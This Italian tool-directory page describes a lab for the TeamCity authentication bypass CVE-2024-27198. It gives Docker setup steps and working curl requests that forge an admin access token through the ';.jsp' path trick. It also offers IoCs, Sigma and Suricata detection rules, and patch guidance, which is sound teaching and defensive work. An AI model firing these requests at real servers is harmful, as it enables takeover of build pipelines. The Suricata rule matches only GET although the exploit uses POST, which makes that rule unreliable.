Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-27198_Lab — Laboratorio per il CVE-2024-27198 | Kitploit
Strumenti/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingThreat IntelligenceRilevamento IntrusioniApprendimento e FormazioneRisposta agli IncidentiAnalisi dei LogLab e Pratica
53 mesi faNon ancora revisionato
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

Laboratorio per il CVE-2024-27198

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Laboratorio CVE-2024-27198

Descrizione

TeamCity fornisce una pagina riservata all'amministratore per la gestione dei token che non è protetta da autenticazione. Ciò consente a un utente non autenticato di generare un token di accesso per l'utente amministratore se riesce a trovare un ID di un utente esistente.


Dettagli CVE

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Base Score: 9.8 CRITICAL
  • Vector:
    • CVSS:3.1
    • AV:N Rete
    • AC:L Bassa
    • PR:N Nessuno
    • UI:N Nessuno
    • S:U Invariato
    • C:H Alta
    • I:H Alta
    • A:H Alta

Intelligence sulle Minacce e OSINT

Impatto nel Mondo Reale e Sfruttamento

  • Catalogo CISA KEV: Aggiunto il 7 marzo 2024, confermando lo sfruttamento attivo in natura.
  • Attori della Minaccia: Sfruttato da diversi gruppi ransomware e APT, in particolare il gruppo ransomware BianLian e la variante ransomware Jasmin. Gli aggressori hanno utilizzato questo bypass per creare account amministratore non autorizzati, distribuire plugin dannosi ed eseguire codice arbitrario (RCE) per muoversi lateralmente all'interno delle reti delle vittime.
Scarica lo strumento
  • Profilo del Target: Le pipeline CI/CD sono obiettivi di alto valore (Attacchi alla Supply Chain). Compromettere TeamCity consente agli aggressori di iniettare codice dannoso nelle build software, rubare il codice sorgente ed estrarre segreti di distribuzione (chiavi AWS, certificati).
  • Perché questa CVE è Critica

    La vulnerabilità risiede nel meccanismo di routing dell'API REST. Aggiungendo caratteri specifici (come ?jsp=/app/rest/...;.jsp) a un endpoint non autenticato, gli aggressori possono ingannare il server web di TeamCity facendogli instradare la richiesta verso un endpoint autenticato mentre eludono i filtri di sicurezza. Ciò non richiede alcuna conoscenza o accesso preliminare, rendendolo un puro 9.8 CVSS.


    Passaggi per riprodurre

    Avviare i container

    root@kitploit:~
    cd CVE-2024-27198
    
    root@kitploit:~
    docker compose -f docker-compose.yml up -d
    

    Accedi all'istanza TeamCity vulnerabile su http://localhost:8111. Accedi all'istanza TeamCity corretta su http://localhost:8112.


    Portale di Login

    Nome utente:

    root@kitploit:~
    admin
    

    Password:

    root@kitploit:~
    admin
    

    Testare la vulnerabilità

    Richiesta GET per una risorsa senza autenticazione:

    root@kitploit:~
    curl -i http://localhost:8111/app/rest/users
    
    root@kitploit:~
    curl -i http://localhost:8112/app/rest/users
    

    Entrambe dovrebbero restituire un errore con codice di stato 401.


    Generare un token per l'utente amministratore

    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Questo dovrebbe restituire un token come questo (Il token è diverso ogni volta):

    root@kitploit:~
    eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
    
    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Questo dovrebbe restituire un errore con codice di stato 401 perché l'istanza corretta non presenta la vulnerabilità.


    Verificare il token

    root@kitploit:~
    curl -i -H "Authorization: Bearer <TOKEN>" \
      http://localhost:8111/app/rest/users
    

    Dovrebbe restituire l'elenco degli utenti.


    Eliminare il token

    1. Vai su http://localhost:8111 con l'account amministratore.
    2. Clicca sull'icona del profilo in alto a destra.
    3. Vai su Profilo -> Token di accesso.
    4. Vedrai il token "REDTEAM".
    5. Basta cliccare su Elimina accanto al token.

    Blue Team: Caccia agli IoC nei Log (Il Fattore di Furtività)

    Durante la dimostrazione in laboratorio, puoi mostrare un'enorme scoperta del Blue Team: di default, questa vulnerabilità è incredibilmente furtiva!

    1. I log di accesso di Tomcat sono disabilitati per impostazione predefinita nell'immagine Docker di TeamCity, quindi le richieste HTTP ;.jsp non vengono registrate.
    2. Il log di audit di TeamCity non registra la creazione di token tramite l'API REST.

    Allora come lo intercettiamo? Quando l'aggressore copre le proprie tracce! Quando l'aggressore elimina il proprio token non autorizzato per nascondersi, TeamCity registra quella azione.

    Trova l'aggressore che copre le proprie tracce nei log di audit:

    root@kitploit:~
    docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
    

    (Vedrai una voce di log che indica che il token "REDTEAM" è stato eliminato).


    Fermare i container

    root@kitploit:~
    docker compose -f docker-compose.yml down
    

    Mitigazione e Rilevamento

    Analisi Tecnica (CWE-288)

    Questa vulnerabilità è un'istanza di CWE-288: Bypass dell'Autenticazione tramite un Percorso o Canale Alternativo. Il difetto deriva da un problema di confusione del percorso tra il server web Tomcat e il router dell'applicazione TeamCity. Aggiungendo ;.jsp e passando l'endpoint dell'API REST di destinazione nel parametro jsp=, il filtro di sicurezza iniziale interpreta la richiesta come una richiesta non autenticata a un file .jsp pubblico (che è consentito). Tuttavia, il router interno rimuove ;.jsp e inoltra la richiesta all'endpoint /app/rest/ senza applicare il filtro di autenticazione.

    Caso d'Uso Legittimo (Perché è consentito ;?): Tomcat utilizza il carattere punto e virgola (;) per i Parametri Matrix. Storicamente, questo meccanismo viene utilizzato per passare parametri direttamente all'interno del percorso, come aggiungere JSESSIONID per mantenere lo stato della sessione utente quando i cookie sono disabilitati. Questo normale e legittimo comportamento del server web, combinato con la convalida impropria da parte del router dell'applicazione TeamCity, è ciò che crea la vulnerabilità.

    Indicatori di Compromissione (IoC)

    Per rilevare una compromissione in corso o passata, i Blue Team dovrebbero cercare:

    1. Log Web: Richieste HTTP che hanno come target endpoint /app/rest/ ma contengono la stringa anomala ;.jsp nell'URI.
    2. Log di Audit (teamcity-server.log): Generazione inspiegabile di token di accesso o creazione di nuovi account amministrativi.
    3. Livello di Sistema: Installazione di plugin non riconosciuti o sospetti (spesso utilizzati dagli aggressori per elevare i privilegi e ottenere l'esecuzione di codice remoto).

    Rilevamento nei Log (Regola Sigma)

    Poiché lo sfruttamento iniziale è furtivo per impostazione predefinita, i Blue Team devono fare affidamento sul rilevamento delle azioni post-sfruttamento dell'aggressore, come la copertura delle tracce. Ecco una regola Sigma per il tuo SIEM per rilevare eliminazioni sospette di token:

    root@kitploit:~
    title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
    id: 9a2b53f6-1234-4567-890a-abcdef123456
    status: experimental
    description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
    author: Purple Team
    date: 2026-05-18
    logsource:
        category: application
        product: teamcity
    detection:
        selection:
            message|contains: 'delete_token_for_user'
        condition: selection
    level: medium
    

    Demo Live del SIEM (Blue Team)

    Per dimostrare che questo rilevamento funziona, esegui lo script siem_simulator.py.

    1. Apri un secondo terminale accanto al terminale dello sfruttamento.
    2. Assicurati che il container vulnerabile sia in esecuzione (docker compose up -d).
    3. Esegui il simulatore:
    root@kitploit:~
    python3 siem_simulator.py
    
    1. Nel primo terminale, esegui lo sfruttamento, verifica il token, e poi elimina il token tramite l'interfaccia web.
    2. Guarda il secondo terminale illuminarsi con un avviso critico rosso che mostra la regola Sigma che intercetta l'aggressore mentre copre le proprie tracce!

    Rimedio

    • Patch Ufficiale: Aggiornare TeamCity alla versione 2023.11.4 o superiore, che sanifica e impone correttamente il matching delle route sul backend.
    • Soluzione alternativa: Se la patch è impossibile, JetBrains ha rilasciato un plugin di patch di sicurezza che può essere installato sulle istanze vulnerabili.

    Rilevamento di Rete (Regola Suricata / Snort)

    Per rilevare questo tentativo di sfruttamento sulla rete, un SOC può implementare la seguente regola IDS, che cerca il pattern anomalo ;.jsp combinato con i percorsi dell'API REST:

    root@kitploit:~
    alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
    

    Testare la versione corretta (Dimostrazione in Laboratorio)

    Per dimostrare che la mitigazione funziona, puoi lanciare lo stesso identico payload di sfruttamento contro il container TeamCity corretto in esecuzione sulla porta 8112:

    root@kitploit:~
    curl -i -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Poiché la patch applica rigorosamente il matching delle route e sanifica correttamente i parametri matrix, il bypass fallirà. Dovresti vedere una risposta 401 Unauthorized o 404 Not Found invece di un token generato.


    Collegamenti

    • CVE-2024-27198